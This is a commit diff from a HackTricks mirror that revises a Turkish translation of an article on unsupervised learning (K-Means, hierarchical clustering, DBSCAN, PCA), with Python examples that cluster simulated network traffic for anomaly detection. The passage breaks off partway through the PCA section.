mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/AI/AI-Unsupervised-Learning-Algorithms.md', 'src/binary
This commit is contained in:
parent
6dcabb7cc6
commit
897e2aee3a
@ -9,19 +9,19 @@ Gözetimsiz öğrenme genellikle kümeleme, boyut azaltma ve anomali tespiti gib
|
||||
|
||||
### K-Ortalamalar Kümeleme
|
||||
|
||||
K-Ortalamalar, verileri K kümeye ayıran merkez tabanlı bir kümeleme algoritmasıdır ve her noktayı en yakın küme ortalamasına atar. Algoritma şu şekilde çalışır:
|
||||
K-Ortalamalar, verileri en yakın küme ortalamasına atayarak K kümeye ayıran merkez tabanlı bir kümeleme algoritmasıdır. Algoritma şu şekilde çalışır:
|
||||
1. **Başlatma**: Genellikle rastgele veya k-means++ gibi daha akıllı yöntemlerle K başlangıç küme merkezleri (merkezler) seçin.
|
||||
2. **Atama**: Her veri noktasını bir mesafe metriğine (örneğin, Öklid mesafesi) dayanarak en yakın merkeze atayın.
|
||||
3. **Güncelleme**: Her kümeye atanan tüm veri noktalarının ortalamasını alarak merkezleri yeniden hesaplayın.
|
||||
4. **Tekrarla**: Küme atamaları istikrara kavuşana kadar (merkezler artık önemli ölçüde hareket etmemelidir) Adım 2-3'ü tekrarlayın.
|
||||
4. **Tekrar**: Küme atamaları istikrara kavuşana kadar (merkezler artık önemli ölçüde hareket etmemelidir) 2-3. adımlar tekrarlanır.
|
||||
|
||||
> [!TIP]
|
||||
> *Siber güvenlikte kullanım durumları:* K-Ortalamalar, ağ olaylarını kümeleyerek saldırı tespiti için kullanılır. Örneğin, araştırmacılar KDD Cup 99 saldırı veri kümesine K-Ortalamalar uyguladılar ve bunun trafiği normal ve saldırı kümelerine etkili bir şekilde ayırdığını buldular. Pratikte, güvenlik analistleri benzer etkinlik gruplarını bulmak için günlük girişlerini veya kullanıcı davranış verilerini kümeleyebilir; iyi biçimlenmiş bir kümeye ait olmayan herhangi bir nokta anomali gösterebilir (örneğin, kendi küçük kümesini oluşturan yeni bir kötü amaçlı yazılım varyantı). K-Ortalamalar, davranış profilleri veya özellik vektörlerine dayalı olarak ikili dosyaları gruplandırarak kötü amaçlı yazılım aile sınıflandırmasına da yardımcı olabilir.
|
||||
> *Siber güvenlikte kullanım durumları:* K-Ortalamalar, ağ olaylarını kümeleyerek saldırı tespiti için kullanılır. Örneğin, araştırmacılar KDD Cup 99 saldırı veri kümesine K-Ortalamalar uygulamış ve trafiği normal ve saldırı kümelerine etkili bir şekilde ayırdığını bulmuşlardır. Pratikte, güvenlik analistleri benzer etkinlik gruplarını bulmak için günlük girişlerini veya kullanıcı davranış verilerini kümeleyebilir; iyi biçimlenmiş bir kümeye ait olmayan herhangi bir nokta anomali gösterebilir (örneğin, kendi küçük kümesini oluşturan yeni bir kötü amaçlı yazılım varyantı). K-Ortalamalar, davranış profilleri veya özellik vektörlerine dayalı olarak ikili dosyaları gruplandırarak kötü amaçlı yazılım aile sınıflandırmasına da yardımcı olabilir.
|
||||
|
||||
#### K'nın Seçimi
|
||||
Kümelerin sayısı (K), algoritmayı çalıştırmadan önce tanımlanması gereken bir hiperparametredir. Elbow Yöntemi veya Silhouette Skoru gibi teknikler, kümeleme performansını değerlendirerek K için uygun bir değer belirlemeye yardımcı olabilir:
|
||||
#### K Seçimi
|
||||
K kümelerinin sayısı, algoritmayı çalıştırmadan önce tanımlanması gereken bir hiperparametredir. Elbow Yöntemi veya Silhouette Skoru gibi teknikler, kümeleme performansını değerlendirerek K için uygun bir değer belirlemeye yardımcı olabilir:
|
||||
|
||||
- **Elbow Yöntemi**: Her noktanın atandığı küme merkezine olan kare mesafelerinin toplamını K'nin bir fonksiyonu olarak çizin. Uygun bir küme sayısını gösteren, azalma oranının keskin bir şekilde değiştiği "dirsek" noktasını arayın.
|
||||
- **Elbow Yöntemi**: Her noktanın atandığı küme merkezine olan kareler toplamını K'nın bir fonksiyonu olarak çizin. Uygun bir küme sayısını gösteren, azalma oranının keskin bir şekilde değiştiği "dirsek" noktasını arayın.
|
||||
- **Silhouette Skoru**: Farklı K değerleri için siluet skorunu hesaplayın. Daha yüksek bir siluet skoru, daha iyi tanımlanmış kümeleri gösterir.
|
||||
|
||||
#### Varsayımlar ve Sınırlamalar
|
||||
@ -31,7 +31,7 @@ K-Ortalamalar, **kümelerin küresel ve eşit boyutlu** olduğunu varsayar; bu,
|
||||
<details>
|
||||
<summary>Örnek -- Ağ Olaylarını Kümeleme
|
||||
</summary>
|
||||
Aşağıda ağ trafiği verilerini simüle ediyoruz ve K-Ortalamalar kullanarak bunları kümelemeye çalışıyoruz. Bağlantı süresi ve bayt sayısı gibi özelliklere sahip olaylarımız olduğunu varsayalım. "Normal" trafiğin 3 kümesini ve bir saldırı desenini temsil eden 1 küçük küme oluşturuyoruz. Ardından, K-Ortalamalar'ı çalıştırarak bunları ayırıp ayıramadığını görüyoruz.
|
||||
Aşağıda ağ trafiği verilerini simüle ediyoruz ve K-Ortalamalar kullanarak bunları kümelemeye çalışıyoruz. Bağlantı süresi ve bayt sayısı gibi özelliklere sahip olaylarımız olduğunu varsayalım. “Normal” trafiğin 3 kümesini ve bir saldırı desenini temsil eden 1 küçük küme oluşturuyoruz. Ardından, K-Ortalamalar'ı çalıştırarak bunları ayırıp ayıramayacağını görüyoruz.
|
||||
```python
|
||||
import numpy as np
|
||||
from sklearn.cluster import KMeans
|
||||
@ -57,31 +57,31 @@ print("Cluster centers (duration, bytes):")
|
||||
for idx, center in enumerate(kmeans.cluster_centers_):
|
||||
print(f" Cluster {idx}: {center}")
|
||||
```
|
||||
Bu örnekte, K-Means 4 küme bulmalıdır. Küçük saldırı kümesi (olağandışı yüksek süre ~200) normal kümelerden uzaklığı nedeniyle ideal olarak kendi kümesini oluşturacaktır. Sonuçları yorumlamak için küme boyutlarını ve merkezlerini yazdırıyoruz. Gerçek bir senaryoda, birkaç noktadan oluşan kümeyi potansiyel anormallikler olarak etiketlemek veya üyelerini kötü niyetli etkinlik açısından incelemek mümkündür.
|
||||
Bu örnekte, K-Means 4 küme bulmalıdır. Küçük saldırı kümesi (olağandışı yüksek süre ~200) normal kümelerden uzaklığı nedeniyle ideal olarak kendi kümesini oluşturacaktır. Sonuçları yorumlamak için küme boyutlarını ve merkezlerini yazdırıyoruz. Gerçek bir senaryoda, birkaç noktadan oluşan kümeyi potansiyel anormallikler olarak etiketlemek veya üyelerini kötü niyetli faaliyetler için incelemek mümkündür.
|
||||
|
||||
### Hiyerarşik Kümeleme
|
||||
|
||||
Hiyerarşik kümeleme, ya aşağıdan yukarı (agglomeratif) bir yaklaşım ya da yukarıdan aşağı (bölücü) bir yaklaşım kullanarak bir küme hiyerarşisi oluşturur:
|
||||
Hiyerarşik kümeleme, ya aşağıdan yukarı (agglomeratif) bir yaklaşım ya da yukarıdan aşağı (bölücü) bir yaklaşım kullanarak kümelerin bir hiyerarşisini oluşturur:
|
||||
|
||||
1. **Agglomeratif (Aşağıdan Yukarı)**: Her veri noktasını ayrı bir küme olarak başlatın ve en yakın kümeleri tekrarlayarak birleştirin, ta ki tek bir küme kalana veya bir durdurma kriteri karşılanana kadar.
|
||||
2. **Bölücü (Yukarıdan Aşağı)**: Tüm veri noktalarını tek bir kümede başlatın ve kümeleri tekrarlayarak bölün, ta ki her veri noktası kendi kümesi olana veya bir durdurma kriteri karşılanana kadar.
|
||||
2. **Bölücü (Yukarıdan Aşağı)**: Tüm veri noktalarını tek bir kümede başlatın ve her veri noktası kendi kümesi olana veya bir durdurma kriteri karşılanana kadar kümeleri tekrarlayarak bölün.
|
||||
|
||||
Agglomeratif kümeleme, kümeler arası mesafenin tanımını ve hangi kümelerin birleştirileceğini belirlemek için bir bağlantı kriteri gerektirir. Yaygın bağlantı yöntemleri arasında tek bağlantı (iki küme arasındaki en yakın noktaların mesafesi), tam bağlantı (en uzak noktaların mesafesi), ortalama bağlantı vb. bulunur ve mesafe metriği genellikle Öklidyen'dir. Bağlantı seçimi, üretilen kümelerin şeklini etkiler. Kümelerin sayısını K önceden belirtmeye gerek yoktur; istenen sayıda küme elde etmek için dendrogramı seçilen bir seviyede "kesebilirsiniz".
|
||||
|
||||
Hiyerarşik kümeleme, farklı granülarite seviyelerinde kümeler arasındaki ilişkileri gösteren ağaç benzeri bir yapı olan bir dendrogram üretir. Dendrogram, belirli bir sayıda küme elde etmek için istenen bir seviyede kesilebilir.
|
||||
Hiyerarşik kümeleme, farklı ayrıntı seviyelerinde kümeler arasındaki ilişkileri gösteren ağaç benzeri bir yapı olan bir dendrogram üretir. Dendrogram, belirli bir sayıda küme elde etmek için istenen bir seviyede kesilebilir.
|
||||
|
||||
> [!TIP]
|
||||
> *Siber güvenlikte kullanım durumları:* Hiyerarşik kümeleme, olayları veya varlıkları bir ağaç yapısında organize ederek ilişkileri tespit edebilir. Örneğin, kötü amaçlı yazılım analizinde, agglomeratif kümeleme örnekleri davranışsal benzerliğe göre gruplandırabilir ve kötü amaçlı yazılım aileleri ve varyantları hiyerarşisini ortaya çıkarabilir. Ağ güvenliğinde, IP trafik akışlarını kümeleyebilir ve dendrogramı kullanarak trafiğin alt gruplarını görebilirsiniz (örneğin, protokole göre, ardından davranışa göre). K'yi önceden seçmenize gerek olmadığından, saldırı kategorilerinin sayısının bilinmediği yeni verileri keşfederken faydalıdır.
|
||||
> *Siber güvenlikte kullanım durumları:* Hiyerarşik kümeleme, olayları veya varlıkları bir ağaç yapısına organize ederek ilişkileri tespit edebilir. Örneğin, kötü amaçlı yazılım analizinde, agglomeratif kümeleme örnekleri davranışsal benzerliğe göre gruplandırabilir ve kötü amaçlı yazılım aileleri ve varyantları hiyerarşisini ortaya çıkarabilir. Ağ güvenliğinde, IP trafik akışlarını kümeleyebilir ve dendrogramı kullanarak trafiğin alt gruplarını görebilirsiniz (örneğin, protokole göre, ardından davranışa göre). K'yi önceden seçmenize gerek olmadığından, saldırı kategorilerinin sayısının bilinmediği yeni verileri keşfederken faydalıdır.
|
||||
|
||||
#### Varsayımlar ve Sınırlamalar
|
||||
|
||||
Hiyerarşik kümeleme belirli bir küme şekli varsaymaz ve iç içe geçmiş kümeleri yakalayabilir. Gruplar arasındaki taksonomi veya ilişkileri keşfetmek için faydalıdır (örneğin, kötü amaçlı yazılımları aile alt gruplarına göre gruplamak). Deterministiktir (rastgele başlatma sorunları yoktur). Ana avantajı, tüm ölçeklerde verinin kümeleme yapısını anlamaya yardımcı olan dendrogramdır – güvenlik analistleri anlamlı kümeleri tanımlamak için uygun bir kesim noktası belirleyebilir. Ancak, hesaplama açısından pahalıdır (genellikle $O(n^2)$ zaman veya daha kötü, basit uygulamalar için) ve çok büyük veri setleri için uygulanabilir değildir. Ayrıca, birleştirme veya bölme yapıldığında geri alınamaz, bu da erken bir hata olması durumunda alt optimal kümelere yol açabilir. Aykırı değerler de bazı bağlantı stratejilerini etkileyebilir (tek bağlantı, kümelerin aykırı değerler aracılığıyla bağlandığı "zincirleme" etkisini yaratabilir).
|
||||
Hiyerarşik kümeleme belirli bir küme şekli varsaymaz ve iç içe geçmiş kümeleri yakalayabilir. Gruplar arasındaki taksonomi veya ilişkileri keşfetmek için faydalıdır (örneğin, kötü amaçlı yazılımları aile alt gruplarına göre gruplamak). Deterministiktir (rastgele başlatma sorunları yoktur). Önemli bir avantaj, verinin kümeleme yapısını tüm ölçeklerde anlamaya yardımcı olan dendrogramdır – güvenlik analistleri anlamlı kümeleri tanımlamak için uygun bir kesim noktası belirleyebilir. Ancak, hesaplama açısından pahalıdır (genellikle $O(n^2)$ zaman veya daha kötü, basit uygulamalar için) ve çok büyük veri setleri için uygulanabilir değildir. Ayrıca, birleştirme veya bölme yapıldıktan sonra geri alınamaz, bu da erken bir hata olması durumunda alt optimal kümelere yol açabilir. Aykırı değerler de bazı bağlantı stratejilerini etkileyebilir (tek bağlantı, kümelerin aykırı değerler aracılığıyla bağlandığı "zincirleme" etkisini yaratabilir).
|
||||
|
||||
<details>
|
||||
<summary>Örnek -- Olayların Agglomeratif Kümeleme
|
||||
</summary>
|
||||
|
||||
K-Means örneğinden elde edilen sentetik verileri (3 normal küme + 1 saldırı kümesi) yeniden kullanacağız ve agglomeratif kümelemeyi uygulayacağız. Ardından, bir dendrogram ve küme etiketleri elde etme yöntemini göstereceğiz.
|
||||
K-Means örneğinden (3 normal küme + 1 saldırı kümesi) sentetik verileri yeniden kullanacağız ve agglomeratif kümelemeyi uygulayacağız. Ardından, bir dendrogram ve küme etiketleri elde etmenin nasıl olduğunu göstereceğiz.
|
||||
```python
|
||||
from sklearn.cluster import AgglomerativeClustering
|
||||
from scipy.cluster.hierarchy import linkage, dendrogram
|
||||
@ -106,7 +106,7 @@ print(f"Cluster sizes for 3 clusters: {np.bincount(clusters_3)}")
|
||||
DBSCAN, yakın bir şekilde paketlenmiş noktaları bir araya getiren ve düşük yoğunluklu bölgelerdeki noktaları aykırı değer olarak işaretleyen yoğunluk tabanlı bir kümeleme algoritmasıdır. Farklı yoğunluklara ve küresel olmayan şekillere sahip veri setleri için özellikle yararlıdır.
|
||||
|
||||
DBSCAN, iki parametre tanımlayarak çalışır:
|
||||
- **Epsilon (ε)**: Aynı kümeye ait olarak kabul edilecek iki nokta arasındaki maksimum mesafe.
|
||||
- **Epsilon (ε)**: İki noktanın aynı kümeye ait olarak kabul edilmesi için maksimum mesafe.
|
||||
- **MinPts**: Yoğun bir bölge (çekirdek nokta) oluşturmak için gereken minimum nokta sayısı.
|
||||
|
||||
DBSCAN, çekirdek noktaları, sınır noktaları ve gürültü noktalarını tanımlar:
|
||||
@ -114,16 +114,16 @@ DBSCAN, çekirdek noktaları, sınır noktaları ve gürültü noktalarını tan
|
||||
- **Sınır Noktası**: Bir çekirdek noktasının ε mesafesi içinde olan ancak MinPts'ten daha az komşusu olan bir nokta.
|
||||
- **Gürültü Noktası**: Ne bir çekirdek nokta ne de bir sınır noktası olan bir nokta.
|
||||
|
||||
Kümeleme, ziyaret edilmemiş bir çekirdek noktasını seçerek başlar, onu yeni bir küme olarak işaretler ve ardından ondan yoğunlukla ulaşılabilir tüm noktaları (çekirdek noktalar ve komşuları vb.) özyinelemeli olarak ekler. Sınır noktaları, yakın bir çekirdeğin kümesine eklenir. Tüm ulaşılabilir noktalar genişletildikten sonra, DBSCAN yeni bir küme başlatmak için başka bir ziyaret edilmemiş çekirdek noktasına geçer. Hiçbir çekirdek tarafından ulaşılmayan noktalar gürültü olarak etiketlenir.
|
||||
Kümeleme, ziyaret edilmemiş bir çekirdek noktasını seçerek başlar, onu yeni bir küme olarak işaretler ve ardından ondan yoğunlukla ulaşılabilir tüm noktaları (çekirdek noktalar ve komşuları vb.) ekler. Sınır noktaları, yakın bir çekirdek kümesine eklenir. Tüm ulaşılabilir noktalar genişletildikten sonra, DBSCAN yeni bir küme başlatmak için başka bir ziyaret edilmemiş çekirdek noktasına geçer. Hiçbir çekirdek tarafından ulaşılmayan noktalar gürültü olarak etiketlenir.
|
||||
|
||||
> [!TIP]
|
||||
> *Siber güvenlikte kullanım durumları:* DBSCAN, ağ trafiğinde anomali tespiti için yararlıdır. Örneğin, normal kullanıcı etkinliği, özellik alanında bir veya daha fazla yoğun küme oluşturabilirken, yeni saldırı davranışları DBSCAN'ın gürültü (aykırı değerler) olarak etiketleyeceği dağınık noktalar olarak görünebilir. Ağ akış kayıtlarını kümelemek için kullanılmıştır; burada, port taramaları veya hizmet reddi trafiğini seyrek nokta bölgeleri olarak tespit edebilir. Bir diğer uygulama, kötü amaçlı yazılım varyantlarını gruplamaktır: çoğu örnek aileler tarafından kümelenirken, birkaçının hiçbir yere uymadığı durumlarda, o birkaç örnek sıfır-gün kötü amaçlı yazılım olabilir. Gürültüyü işaretleme yeteneği, güvenlik ekiplerinin bu aykırı değerleri araştırmaya odaklanmasını sağlar.
|
||||
> *Siber güvenlikte kullanım durumları:* DBSCAN, ağ trafiğinde anomali tespiti için yararlıdır. Örneğin, normal kullanıcı etkinliği, özellik alanında bir veya daha fazla yoğun küme oluşturabilirken, yeni saldırı davranışları DBSCAN'ın gürültü (aykırı değerler) olarak etiketleyeceği dağınık noktalar olarak görünebilir. Ağ akış kayıtlarını kümelemek için kullanılmıştır; burada port taramaları veya hizmet reddi trafiğini seyrek nokta bölgeleri olarak tespit edebilir. Bir diğer uygulama, kötü amaçlı yazılım varyantlarını gruplamaktır: çoğu örnek aileler tarafından kümelenirken, birkaçının hiçbir yere uymadığı durumlarda, o birkaç örnek sıfır gün kötü amaçlı yazılım olabilir. Gürültüyü işaretleme yeteneği, güvenlik ekiplerinin bu aykırı değerlere odaklanmasını sağlar.
|
||||
|
||||
#### Varsayımlar ve Sınırlamalar
|
||||
|
||||
**Varsayımlar ve Güçlü Yönler:** DBSCAN, küresel kümeler varsaymaz – keyfi şekilli kümeleri bulabilir (hatta zincir benzeri veya bitişik kümeler). Veri yoğunluğuna dayalı olarak küme sayısını otomatik olarak belirler ve aykırı değerleri gürültü olarak etkili bir şekilde tanımlayabilir. Bu, düzensiz şekiller ve gürültü içeren gerçek dünya verileri için güçlü kılar. Aykırı değerlere karşı dayanıklıdır (K-Means'in aksine, onları kümelere zorlamaz). Kümeler yaklaşık olarak eşit yoğunlukta olduğunda iyi çalışır.
|
||||
**Varsayımlar & Güçlü Yönler:** DBSCAN, küresel kümeler varsaymaz – keyfi şekilli kümeleri (hatta zincir benzeri veya bitişik kümeleri) bulabilir. Veri yoğunluğuna dayalı olarak küme sayısını otomatik olarak belirler ve aykırı değerleri gürültü olarak etkili bir şekilde tanımlayabilir. Bu, düzensiz şekiller ve gürültü içeren gerçek dünya verileri için güçlü kılar. Aykırı değerlere karşı dayanıklıdır (K-Means'in aksine, onları kümelere zorlamaz). Kümeler yaklaşık olarak eşit yoğunlukta olduğunda iyi çalışır.
|
||||
|
||||
**Sınırlamalar:** DBSCAN'ın performansı uygun ε ve MinPts değerlerini seçmeye bağlıdır. Farklı yoğunluklara sahip verilerle zorlanabilir – tek bir ε, hem yoğun hem de seyrek kümeleri karşılayamaz. Eğer ε çok küçükse, çoğu noktayı gürültü olarak etiketler; çok büyükse, kümeler yanlış bir şekilde birleşebilir. Ayrıca, DBSCAN çok büyük veri setlerinde verimsiz olabilir (naif olarak $O(n^2)$, ancak mekansal indeksleme yardımcı olabilir). Yüksek boyutlu özellik alanlarında, “ε içindeki mesafe” kavramı daha az anlamlı hale gelebilir (boyutlanma laneti) ve DBSCAN dikkatli parametre ayarlaması gerektirebilir veya sezgisel kümeleri bulmakta başarısız olabilir. Tüm bunlara rağmen, HDBSCAN gibi uzantılar bazı sorunları (değişen yoğunluk gibi) ele alır.
|
||||
**Sınırlamalar:** DBSCAN'ın performansı uygun ε ve MinPts değerlerini seçmeye bağlıdır. Farklı yoğunluklara sahip verilerle zorlanabilir – tek bir ε, hem yoğun hem de seyrek kümeleri karşılayamaz. Eğer ε çok küçükse, çoğu noktayı gürültü olarak etiketler; çok büyükse, kümeler yanlış bir şekilde birleşebilir. Ayrıca, DBSCAN çok büyük veri setlerinde verimsiz olabilir (naif olarak $O(n^2)$, ancak mekansal indeksleme yardımcı olabilir). Yüksek boyutlu özellik alanlarında, “ε içindeki mesafe” kavramı daha az anlamlı hale gelebilir (boyutlanma laneti) ve DBSCAN dikkatli parametre ayarlaması gerektirebilir veya sezgisel kümeleri bulmakta başarısız olabilir. Bununla birlikte, HDBSCAN gibi uzantılar bazı sorunları (farklı yoğunluk gibi) ele alır.
|
||||
|
||||
<details>
|
||||
<summary>Örnek -- Gürültü ile Kümeleme
|
||||
@ -149,7 +149,7 @@ num_noise = np.sum(labels == -1)
|
||||
print(f"DBSCAN found {num_clusters} clusters and {num_noise} noise points")
|
||||
print("Cluster labels for first 10 points:", labels[:10])
|
||||
```
|
||||
Bu kesitte, `eps` ve `min_samples` değerlerini veri ölçeğimize uygun hale getirdik (özellik birimlerinde 15.0 ve bir küme oluşturmak için 5 nokta gerektiriyor). DBSCAN, 2 küme (normal trafik kümeleri) bulmalı ve 5 enjekte edilmiş aykırı noktayı gürültü olarak işaretlemelidir. Bunu doğrulamak için kümelerin sayısını gürültü noktaları ile karşılaştırıyoruz. Gerçek bir ortamda, ε üzerinde yineleme yapılabilir (ε'yi seçmek için bir k-uzaklık grafiği sezgisi kullanarak) ve MinPts (genellikle veri boyutuna + 1 olarak ayarlanır) ile kararlı kümeleme sonuçları bulmak için. Gürültüyü açıkça etiketleme yeteneği, potansiyel saldırı verilerini daha fazla analiz için ayırmaya yardımcı olur.
|
||||
Bu kesitte, `eps` ve `min_samples` değerlerini veri ölçeğimize uygun hale getirdik (özellik birimlerinde 15.0 ve bir küme oluşturmak için 5 nokta gerektiriyor). DBSCAN, 2 küme (normal trafik kümeleri) bulmalı ve 5 enjekte edilmiş aykırı noktayı gürültü olarak işaretlemelidir. Bunu doğrulamak için kümelerin sayısını gürültü noktaları ile karşılaştırıyoruz. Gerçek bir ortamda, ε üzerinde yineleme yapılabilir (ε'yi seçmek için bir k-uzaklık grafiği sezgisi kullanarak) ve MinPts (genellikle veri boyutunun +1 kadar bir kural olarak ayarlanır) ile kararlı kümeleme sonuçları bulmak için. Gürültüyü açıkça etiketleme yeteneği, potansiyel saldırı verilerini daha fazla analiz için ayırmaya yardımcı olur.
|
||||
|
||||
</details>
|
||||
|
||||
@ -163,26 +163,26 @@ PCA, verilerin temel bileşenlerini tanımlayarak çalışır; bu, maksimum vary
|
||||
1. **Standartlaştırma**: Verileri ortalamayı çıkararak merkezleme ve birim varyansa ölçekleme.
|
||||
2. **Kovaryans Matrisi**: Özellikler arasındaki ilişkileri anlamak için standartlaştırılmış verilerin kovaryans matrisini hesaplama.
|
||||
3. **Özdeğer Ayrıştırması**: Özdeğerleri ve özvektilleri elde etmek için kovaryans matrisinde özdeğer ayrıştırması yapma.
|
||||
4. **Temel Bileşenleri Seçme**: Özdeğerleri azalan sırayla sıralayın ve en büyük özdeğerlere karşılık gelen en üst K özvektörü seçin. Bu özvektiller yeni özellik alanını oluşturur.
|
||||
4. **Temel Bileşenleri Seçme**: Özdeğerleri azalan sırayla sıralama ve en büyük özdeğerlere karşılık gelen en üst K özvektörü seçme. Bu özvektiller yeni özellik alanını oluşturur.
|
||||
5. **Veriyi Dönüştürme**: Seçilen temel bileşenleri kullanarak orijinal veriyi yeni özellik alanına projekte etme.
|
||||
PCA, veri görselleştirme, gürültü azaltma ve diğer makine öğrenimi algoritmaları için bir ön işleme adımı olarak yaygın olarak kullanılır. Verinin boyutunu azaltırken temel yapısını korumaya yardımcı olur.
|
||||
|
||||
#### Özdeğerler ve Özvektiller
|
||||
|
||||
Bir özdeğer, karşılık gelen özvektili tarafından yakalanan varyans miktarını gösteren bir skalar değerdir. Bir özvektör, veri alanında en fazla değişimin olduğu bir yönü temsil eder.
|
||||
Bir özdeğer, karşılık gelen özvektili tarafından yakalanan varyans miktarını gösteren bir skalar değerdir. Bir özvektör, veri alanında en fazla varyasyonun olduğu bir yönü temsil eder.
|
||||
|
||||
A'nın bir kare matris olduğunu ve v'nin sıfırdan farklı bir vektör olduğunu varsayalım: `A * v = λ * v`
|
||||
burada:
|
||||
- A, [ [1, 2], [2, 1]] gibi bir kare matristir (örneğin, kovaryans matrisi)
|
||||
- v bir özvektördür (örneğin, [1, 1])
|
||||
|
||||
O zaman, `A * v = [ [1, 2], [2, 1]] * [1, 1] = [3, 3]` bu, özdeğer λ'nın özvektör v ile çarpılmasıdır ve özdeğer λ = 3 olacaktır.
|
||||
O zaman, `A * v = [ [1, 2], [2, 1]] * [1, 1] = [3, 3]` olacaktır; bu, özdeğer λ'nın özvektör v ile çarpılmasıdır ve özdeğer λ = 3 olur.
|
||||
|
||||
#### PCA'daki Özdeğerler ve Özvektiller
|
||||
#### PCA'da Özdeğerler ve Özvektiller
|
||||
|
||||
Bunu bir örnekle açıklayalım. 100x100 piksel boyutunda birçok gri tonlamalı yüz resmi içeren bir veri kümesine sahip olduğunuzu hayal edin. Her piksel bir özellik olarak kabul edilebilir, bu nedenle her görüntü için 10.000 özellik (veya her görüntü için 10000 bileşenden oluşan bir vektör) vardır. Bu veri kümesinin boyutunu PCA kullanarak azaltmak istiyorsanız, şu adımları izlersiniz:
|
||||
|
||||
1. **Standartlaştırma**: Her özelliğin (pikselin) ortalamasını veri kümesinden çıkararak verileri merkezleme.
|
||||
1. **Standartlaştırma**: Veri kümesinden her özelliğin (pikselin) ortalamasını çıkararak verileri merkezleme.
|
||||
2. **Kovaryans Matrisi**: Özelliklerin (piksellerin) birlikte nasıl değiştiğini yakalayan standartlaştırılmış verilerin kovaryans matrisini hesaplama.
|
||||
- İki değişken (bu durumda pikseller) arasındaki kovaryans, birlikte ne kadar değiştiklerini gösterir, bu nedenle burada amaç, hangi piksellerin lineer bir ilişki ile birlikte artma veya azalma eğiliminde olduğunu bulmaktır.
|
||||
- Örneğin, piksel 1 ve piksel 2 birlikte artma eğilimindeyse, aralarındaki kovaryans pozitif olacaktır.
|
||||
@ -190,20 +190,20 @@ Bunu bir örnekle açıklayalım. 100x100 piksel boyutunda birçok gri tonlamal
|
||||
3. **Özdeğer denklemini çözme**: Çözülmesi gereken özdeğer denklemi `C * v = λ * v` şeklindedir; burada C kovaryans matrisidir, v özvektördür ve λ özdeğerdir. Şu yöntemlerle çözülebilir:
|
||||
- **Özdeğer Ayrıştırması**: Özdeğerleri ve özvektilleri elde etmek için kovaryans matrisinde özdeğer ayrıştırması yapma.
|
||||
- **Tekil Değer Ayrıştırması (SVD)**: Alternatif olarak, verileri tekil değerler ve vektörler olarak ayrıştırmak için SVD kullanabilirsiniz; bu da temel bileşenleri elde edebilir.
|
||||
4. **Temel Bileşenleri Seçme**: Özdeğerleri azalan sırayla sıralayın ve en büyük özdeğerlere karşılık gelen en üst K özvektörü seçin. Bu özvektiller, verilerdeki maksimum varyans yönlerini temsil eder.
|
||||
4. **Temel Bileşenleri Seçme**: Özdeğerleri azalan sırayla sıralama ve en büyük özdeğerlere karşılık gelen en üst K özvektörünü seçme. Bu özvektiller, verilerdeki maksimum varyans yönlerini temsil eder.
|
||||
|
||||
> [!TIP]
|
||||
> *Siber güvenlikte kullanım durumları:* Güvenlikte PCA'nın yaygın bir kullanımı, anomali tespiti için özellik azaltmadır. Örneğin, 40'tan fazla ağ metriği (NSL-KDD özellikleri gibi) içeren bir saldırı tespit sistemi, verileri görselleştirmek veya kümeleme algoritmalarına beslemek için PCA kullanarak birkaç bileşene indirgemek için kullanılabilir. Analistler, saldırıların normal trafikten ayrılıp ayrılmadığını görmek için ilk iki temel bileşen alanında ağ trafiğini çizebilir. PCA ayrıca, tespit algoritmalarını daha sağlam ve hızlı hale getirmek için (korelasyonlu iseler) gereksiz özellikleri ortadan kaldırmaya da yardımcı olabilir.
|
||||
> *Siber güvenlikte kullanım durumları:* PCA'nın güvenlikte yaygın bir kullanımı, anomali tespiti için özellik azaltmadır. Örneğin, 40'tan fazla ağ metriği (NSL-KDD özellikleri gibi) içeren bir saldırı tespit sistemi, verileri görselleştirmek veya kümeleme algoritmalarına beslemek için PCA kullanarak birkaç bileşene indirgemeyi tercih edebilir. Analistler, saldırıların normal trafikten ayrılıp ayrılmadığını görmek için ilk iki temel bileşen alanında ağ trafiğini çizebilir. PCA ayrıca, tespit algoritmalarını daha sağlam ve hızlı hale getirmek için (korrele olduklarında) gönderilen baytlar ile alınan baytlar gibi gereksiz özellikleri ortadan kaldırmaya da yardımcı olabilir.
|
||||
|
||||
#### Varsayımlar ve Sınırlamalar
|
||||
|
||||
PCA, **temel varyans eksenlerinin anlamlı olduğunu varsayar** - bu, lineer bir yöntemdir, bu nedenle verilerdeki lineer korelasyonları yakalar. Sadece özellik kovaryansını kullandığı için denetimsizdir. PCA'nın avantajları arasında gürültü azaltma (küçük varyanslı bileşenler genellikle gürültü ile ilişkilidir) ve özelliklerin dekorrelasyonu bulunur. Orta derecede yüksek boyutlar için hesaplama açısından verimlidir ve genellikle diğer algoritmalar için yararlı bir ön işleme adımıdır (boyut lanetini azaltmak için). Bir sınırlama, PCA'nın yalnızca lineer ilişkilere sınırlı olmasıdır - karmaşık doğrusal olmayan yapıları yakalayamaz (oysa otomatik kodlayıcılar veya t-SNE yakalayabilir). Ayrıca, PCA bileşenleri orijinal özellikler açısından yorumlanması zor olabilir (orijinal özelliklerin kombinasyonlarıdır). Siber güvenlikte, dikkatli olunmalıdır: düşük varyanslı bir özellikte yalnızca hafif bir değişiklik yaratan bir saldırı, en üst PC'lerde görünmeyebilir (çünkü PCA varyansı önceliklendirir, mutlaka "ilginçliği" değil).
|
||||
PCA, **temel varyans eksenlerinin anlamlı olduğunu varsayar** - bu, lineer bir yöntemdir, bu nedenle verilerdeki lineer korelasyonları yakalar. Sadece özellik kovaryansını kullandığı için denetimsizdir. PCA'nın avantajları arasında gürültü azaltma (küçük varyanslı bileşenler genellikle gürültü ile ilişkilidir) ve özelliklerin dekorrelasyonu bulunur. Orta derecede yüksek boyutlar için hesaplama açısından verimlidir ve genellikle diğer algoritmalar için yararlı bir ön işleme adımıdır (boyut lanetini azaltmak için). Bir sınırlama, PCA'nın yalnızca lineer ilişkilerle sınırlı olmasıdır - karmaşık doğrusal olmayan yapıları yakalayamaz (oysa otomatik kodlayıcılar veya t-SNE bunu yapabilir). Ayrıca, PCA bileşenleri, orijinal özellikler açısından yorumlanması zor olabilir (orijinal özelliklerin kombinasyonlarıdır). Siber güvenlikte, dikkatli olunmalıdır: düşük varyanslı bir özellikte yalnızca hafif bir değişiklik yaratan bir saldırı, en üst PC'lerde görünmeyebilir (çünkü PCA varyansı önceliklendirir, mutlaka "ilginçliği" değil).
|
||||
|
||||
<details>
|
||||
